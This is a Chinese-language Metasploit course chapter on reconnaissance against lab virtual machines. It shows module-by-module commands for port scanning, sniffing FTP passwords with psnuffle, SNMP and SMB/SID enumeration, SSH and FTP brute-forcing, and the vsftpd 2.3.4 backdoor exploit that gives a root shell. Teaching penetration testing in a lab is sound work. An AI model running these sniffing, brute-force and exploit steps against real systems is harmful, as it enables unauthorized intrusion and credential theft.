天天看點

08、Metasploit滲透測試之資訊收集

本文章所講内容:

8.1 基于 TCP 協定收集主機資訊
8.2 基于 SNMP 協定收集主機資訊
8.3 基于 SMB 協定收集資訊
8.4 基于 SSH 協定收集資訊
8.5 基于 FTP 協定收集資訊
8.1 基于 tcp 協定收集主機資訊

我們前面學習了主動資訊收集和被動資訊收集,而且還學習了漏洞檢測工具 NESSUS,接下來給大家講解使用 Metasploit 來對目标進行資訊收集,這個過程包含了前面所有的方式以及多了一些更加極端的擷取資訊方式 ,比如擷取伺服器的硬體資訊,系統使用者資訊、程序資訊等。

8.1.1 使用 Metasploit 中的 nmap 和 arp_sweep 收集主機資訊

Metasploit 中也有 NMAP 工具

msfconsole
db_nmap -sV 192.168.42.138
           
08、Metasploit滲透測試之資訊收集

ARP 掃描

use auxiliary/scanner/discovery/arp_sweep
           

檢視一下子產品需要配置哪些參數

show options
           
08、Metasploit滲透測試之資訊收集

配置 RHOSTS(掃描的目标網絡)即可

set RHOSTS 192.168.42.0/24
           

SHOST 和 SMAC 是僞造源 IP 和 MAC 位址使用的。

配置線程數

set THREADS 30
run
           
08、Metasploit滲透測試之資訊收集

掃描一整個網段,判斷那個主機是存活的

back    #退出一下
           
08、Metasploit滲透測試之資訊收集

8.1.2 使用半連接配接方式掃描 TCP 端口

search portscan
           
08、Metasploit滲透測試之資訊收集

這些我們前面就學習過的 TCP 掃描相關内容,其他的是一些應用的掃描。

use auxiliary/scanner/portscan/syn
           

檢視配置項

use auxiliary/scanner/portscan/syn
show options
           

設定掃描的目标

set RHOSTS 192.168.42.138
           

設定端口範圍使用逗号隔開

set PORTS 80
           

設定線程數

set THREADS 20
run
           
08、Metasploit滲透測試之資訊收集

8.1.3 使用 auxiliary /sniffer 下的 psnuffle 子產品進行密碼嗅探

實驗拓撲圖:

08、Metasploit滲透測試之資訊收集

隻要成功登入靶機,psnuffle就會監聽到輸入的密碼

search psnuffle
use auxiliary/sniffer/psnuffle
           
08、Metasploit滲透測試之資訊收集

檢視 psnuffle 的子產品作用:

info
           
08、Metasploit滲透測試之資訊收集

Description:

This module sniffs passwords like dsniff did in the past #這個 psnuffle 子產品可以像以前的 dsniff 指令一樣,去嗅探密碼,隻支援 pop3、imap、ftp、HTTP GET 協定。

擴充:Dsniff 是一個著名的網絡嗅探工具包、進階密碼嗅探工具、綜合性的網絡嗅探工具包。

show options
run
           
08、Metasploit滲透測試之資訊收集

建立一個終端視窗登入 ftp,Metasploitable2-Linux 靶機中已經開啟了 ftp 服務可以直接登入。

apt install lftp -y #安裝 lftp 指令
lftp -u msfadmin 192.168.42.138
           

密碼:msfadmin

連接配接成功後,進行下資料互動,檢視 ftp 目錄下的檔案

ls
           

回到 MSF 終端可以看到使用者名密碼資訊已經被擷取。

08、Metasploit滲透測試之資訊收集

嗅探完成後記得把背景任務關閉

jobs #檢視背景運作的任務
           
kill 0 #kill job 的 ID,關閉 job
           
08、Metasploit滲透測試之資訊收集
8.2 基于 SNMP 協定收集主機資訊

簡單網絡管理協定(SNMP,Simple Network Management Protocol),由一組網絡管理的标準組成,包含一個應用層協定(application layer protocol)、資料庫模型(database schema)和一組資源對象。該協定能夠支援網絡管理系統,用以監測連接配接到網絡上的裝置是否有任何引起管理上關注的情況。

我們使用 root 使用者先到 Metasploitable2-Linux 主機上修改一下 SNMP 服務,因為預設服務是不對外開放的。

vim /etc/default/snmpd
           

改第 11 行

SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 127.0.0.1'
為:
SNMPDOPTS='-Lsd -Lf /dev/null -u snmp -I -smux -p /var/run/snmpd.pid 0.0.0.0'
           

儲存退出

重新開機 SNMP 服務

sudo /etc/init.d/snmpd restart
           

确認服務監聽正常

netstat -antup | grep 161
           
08、Metasploit滲透測試之資訊收集

實戰-使用 snmp_enum 子產品通過 snmp 協定掃描目标伺服器資訊

use auxiliary/scanner/snmp/snmp_enum
show options
set RHOSTS 192.168.42.138
run
           
08、Metasploit滲透測試之資訊收集

注:可以看到通過 snmp 協定探測到的資訊非常多。如伺服器硬體資訊和伺服器目前運作的程序,這兩方面是其他掃描方式,可能擷取不到的。

8.3 基于 SMB 協定收集資訊

SMB 概述:伺服器消息塊(Server Message Block,縮寫為 SMB),又稱網絡檔案共享系統(Common Internet File System,縮寫為 CIFS),一種應用層網絡傳輸協定,由微軟開發,主要功能是使網絡上的機器能夠共享計算機檔案、列印機、串行端口和通訊等資源。

經過 Unix 伺服器廠商重新開發後,它可以用于連接配接 Unix 伺服器和 Windows 客戶機,執行列印和檔案共享等任務。

8.3.1 使用 smb_version 基于 SMB 協定掃描版本号

use auxiliary/scanner/smb/smb_version
           

設定掃描目标,注意多個目标使用逗号+空格隔開

show options
           

#設定

set RHOSTS 192.168.42.138, 192.168.42.137
           

注: 192.168.42.138 後面的逗号和 192.168.42.137 之間是有空格的

run
           
08、Metasploit滲透測試之資訊收集

注:可以掃描出來作業系統的版本号,版本号很準确。

8.3.2 使用 smb_enumshares 基于 SMB 協定掃共享檔案(賬号、密碼)

SMB 的子產品中基本上都是可以配置使用者名和密碼的,配置了使用者名和密碼某些子產品掃描的結果會更滿足我們的需求。

我們到 Windows 中啟用一下共享服務。

建立檔案夾 shantu 并進入該檔案夾。

08、Metasploit滲透測試之資訊收集
08、Metasploit滲透測試之資訊收集
08、Metasploit滲透測試之資訊收集
08、Metasploit滲透測試之資訊收集

枚舉共享

use auxiliary/scanner/smb/smb_enumshares
show options
           

掃描 192.168.42.135 到 192.168.42.137 的機器

set RHOSTS 192.168.42.137
           
08、Metasploit滲透測試之資訊收集

如果你不配置使用者,就掃描不到資訊。配置一下使用者資訊,我這裡使用者是預設的管理者使用者,密碼為hacker1961。

set SMBUser administrator
set SMBPass hacker1961
run
           
08、Metasploit滲透測試之資訊收集

可以看到有 1 個是我們前面設定的 shantu 共享檔案目錄還有 4 個是隐藏的共享目錄。

8.3.3 使用 smb_lookupsid 掃描系統使用者資訊(SID 枚舉)

我們在 Win7 上建立一個 shantu 使用者。密碼也是 123456。

右鍵計算機→管理→本地使用者群組→使用者 ,在空白處,右擊建立一個使用者

08、Metasploit滲透測試之資訊收集

使用者 shantu 密碼: 123456

08、Metasploit滲透測試之資訊收集

把使用者下次登入時須更改密碼,給勾選掉,勾選上,我紅色框框裡面的

注:SID 是 Windows 中每一個使用者的 ID,更改使用者名 SID 也是不會改變的。

use auxiliary/scanner/smb/smb_lookupsid
show options
set RHOSTS 192.168.42.137
set SMBUser administrator
set SMBPass hacker1961
run
           
08、Metasploit滲透測試之資訊收集
08、Metasploit滲透測試之資訊收集

重在操作和過程,以及了解通過這些協定怎麼去資訊收集,資訊收集可以擷取那些資訊

我們之前學的是主動資訊收集和被動資訊收集,都是web方面的資訊收集,我們今天講的是系統、主機、伺服器的資訊收集

一個好的滲透測試,是要把資訊收集給完全了,不要他給你一個主站,你就光打一個主站,這樣就沒得玩了,這麼多的協定收集,不指定開那個,萬一開了ssh協定,我們可以利用一下,有沒有相關漏洞,比如開了snmp或者開了TCP,都可以去掃一掃,盡可能詳細的資訊收集,才能有利于你們接下來漏洞利用,如何去發現這個漏洞,有版本出現那個漏洞、驗證漏洞,掃描漏洞,然後利用這個漏洞去攻擊,處理後事

8.4 基于 SSH 協定收集資訊

8.4.1 檢視 ssh 服務的版本資訊

擷取版本資訊,是為了查找這個版本有沒有漏洞,通過ssh或者其它協定,進行資訊收集,發現這個版本可能存在漏洞,然後我們可以去找相應的子產品,進行一波測試

use auxiliary/scanner/ssh/ssh_version
show options
set RHOSTS 192.168.42.138
run
           
08、Metasploit滲透測試之資訊收集

8.4.2 對 SSH 暴力破解

檢視一下metersploit自帶的字典

cd /usr/share/metasploit-framework/data/wordlists/
ls
           
08、Metasploit滲透測試之資訊收集

這裡有tomcat、http、oracel自帶的字典密碼

use auxiliary/scanner/ssh/ssh_login
show options
set RHOSTS 192.168.42.138
           
08、Metasploit滲透測試之資訊收集

設定字典檔案預設的字典檔案是不滿足實際需求的,後期我們使用更強大的字典檔案。

set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
           
08、Metasploit滲透測試之資訊收集

因為字典檔案中不包含我們的使用者密碼資訊我們把自己的密碼資訊手動加入進去以便展示效果

新開一個終端視窗

echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
           
08、Metasploit滲透測試之資訊收集

回到 MSF 終端

run
           
08、Metasploit滲透測試之資訊收集

因為我們是在檔案的最後添加的,是以前面的都是失敗的操作。

暴力破解又叫枚舉測試,直到跑出正确密碼為止

8.5 基于 FTP 協定收集資訊

8.5.1 檢視 ftp 服務的版本資訊

加載 ftp 服務版本掃描子產品

use auxiliary/scanner/ftp/ftp_version
           

檢視設定參數

show options
           

設定目标 IP,可以設定多個

set RHOSTS 192.168.42.138
           

執行掃描,輸入 exploit 或 run

run
           

掃描出結果是:vsFTPd 2.3.4

back
           
08、Metasploit滲透測試之資訊收集

掃描出 ftp 服務的版本号,我們可以嘗試搜尋版本号,看看有沒有可以利用的子產品

search 2.3.4
           

或者搜尋 vsftpd

search vsftpd
           
08、Metasploit滲透測試之資訊收集

我們發現存在一個 exploit 子產品,而且這個版本的 ftp 服務存在一個後門

我們嘗試利用下這個子產品

use exploit/unix/ftp/vsftpd_234_backdoor
show options
           
set RHOSTS 192.168.42.138
run
           
08、Metasploit滲透測試之資訊收集

拿到了 shell,而且是 root 權限,我們嘗試執行下指令

執行 id 指令, 檢視目前使用者

執行 ifconfig 指令,檢視 IP 位址

08、Metasploit滲透測試之資訊收集

如何去探測版本号,利用這個版本号,找相對應的漏洞,然後利用這個漏洞進行攻擊,不存在在進行其它的資訊收集

8.5.2 ftp 匿名登入掃描

暴力破解不提倡,因為這是個蠻撞行為,在走投無路的情況下,可以嘗試,畢竟暴力破解太費資源、時間

use auxiliary/scanner/ftp/anonymous
show options
           
set RHOSTS 192.168.42.138
run
           
08、Metasploit滲透測試之資訊收集

使用子產品,檢視配置,設定,run

8.5.3 ftp 暴力破解

use auxiliary/scanner/ftp/ftp_login
show options
           
set RHOSTS 192.168.42.138
           
08、Metasploit滲透測試之資訊收集

設定字典檔案預設的字典檔案是不滿足實際需求的後期我們使用更強大的字典檔案。

set USERPASS_FILE /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
           

因為字典檔案中不包含我們的使用者密碼資訊我們把自己的密碼資訊手動加入進去以便展示效果

新開一個終端視窗

echo "msfadmin msfadmin" >> /usr/share/metasploit-framework/data/wordlists/root_userpass.txt
           

回到 MSF 終端

run
           
08、Metasploit滲透測試之資訊收集
08、Metasploit滲透測試之資訊收集

因為我們是在檔案的最後添加的,是以前面的都是失敗的操作。

像這種大規模的暴力破解,早就被發現了,這要是一個伺服器,被這樣強行的打、測試,早就開始拉警報了,封IP都是小事,開始溯源了

對版本進行收集,檢視是否有相關的漏洞,進行對應漏洞的攻擊,利用這個漏洞去擷取shell

CTF得先有自身的基礎,payload類似一個後門,他得先跟目标主機建立連接配接,通過這個連接配接去反彈一個shell,具體的payload,要根據我們進攻的滲透的主機來判斷,比如他用安卓的,就用安卓的payload,linux的就用linux的payload

繼續閱讀